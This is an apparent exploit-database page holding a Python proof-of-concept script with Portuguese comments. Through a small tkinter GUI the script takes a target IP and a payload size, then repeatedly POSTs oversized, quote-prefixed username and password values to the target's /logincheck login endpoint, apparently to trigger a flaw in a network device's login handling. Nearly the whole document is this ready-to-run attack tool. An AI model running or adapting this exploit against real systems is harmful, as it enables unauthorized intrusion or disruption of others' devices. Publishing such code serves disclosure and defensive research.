4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import requests
import tkinter as tk
from tkinter import messagebox
import threading
import time
import re

# Função para verificar se o IP tem formato válido
def is_valid_ip(ip):
    # Expressão regular simples para validar o formato do IP
    pattern = r"^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$"
    return re.match(pattern, ip) is not None

# Função para enviar a requisição com o payload
def exploit(target_ip, payload_size):
    target = f"https://{target_ip}/logincheck"

    # Cria o payload com o tamanho especificado pelo usuário
    payload = {
        "csrfmiddlewaretoken": "6122679a72bea77cc07a16bc5ebbbe57",
        "username": "'" + "A" * payload_size + "#",  # Username com tamanho definido pelo usuário
        "password": "B" * payload_size,  # Password com tamanho definido pelo usuário
        "next": "",
        "login_button": "Login"
    }

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
        "Referer": target,
        "Content-Type": "application/x-www-form-urlencoded"
    }

    while running:
        try:
            response = requests.post(target, data=payload, headers=headers, verify=False)  # Sem proxies
            print(f"Status Code: {response.status_code}")
            print(response.text)
            # Adiciona um delay para evitar requisições excessivas
            time.sleep(2)
        except Exception as e:
            print(f"Erro ao enviar requisição: {e}")
            break

# Função para iniciar o exploit
def start_exploit():
    global running
    target_ip = ip_entry.get()
    try:
        payload_size = int(payload_size_entry.get())  # Obtém o tamanho do payload inserido pelo usuário
        if payload_size <= 0:
            raise ValueError("O tamanho do payload deve ser maior que 0.")
    except ValueError as ve:
        messagebox.showerror("Erro", f"Erro no tamanho do payload: {ve}")
        return

    if not target_ip or not is_valid_ip(target_ip):
        messagebox.showerror("Erro", "Por favor, insira um IP válido.")
        return

    running = True
    # Cria uma thread para rodar a função de exploit em paralelo à interface
    exploit_thread = threading.Thread(target=exploit, args=(target_ip, payload_size))
    exploit_thread.start()

    start_button.config(state=tk.DISABLED)
    stop_button.config(state=tk.NORMAL)

# Função para parar o exploit
def stop_exploit():
    global running
    running = False
    start_button.config(state=tk.NORMAL)
    stop_button.config(state=tk.DISABLED)

# Configuração da interface gráfica
root = tk.Tk()
root.title("Exploit Automation")

# Campo para o usuário digitar o IP
ip_label = tk.Label(root, text="Digite o IP alvo:")
ip_label.pack(pady=5)

ip_entry = tk.Entry(root)
ip_entry.pack(pady=5)

# Campo para o usuário digitar o tamanho do payload
payload_size_label = tk.Label(root, text="Tamanho do Payload (em caracteres):")
payload_size_label.pack(pady=5)

payload_size_entry = tk.Entry(root)
payload_size_entry.pack(pady=5)

# Botão de iniciar e parar o exploit
start_button = tk.Button(root, text="Iniciar Exploit", command=start_exploit)
start_button.pack(pady=5)

stop_button = tk.Button(root, text="Parar Exploit", command=stop_exploit, state=tk.DISABLED)
stop_button.pack(pady=5)

# Variável global para controlar se o exploit deve continuar rodando
running = False

# Inicia a interface gráfica
root.mainloop()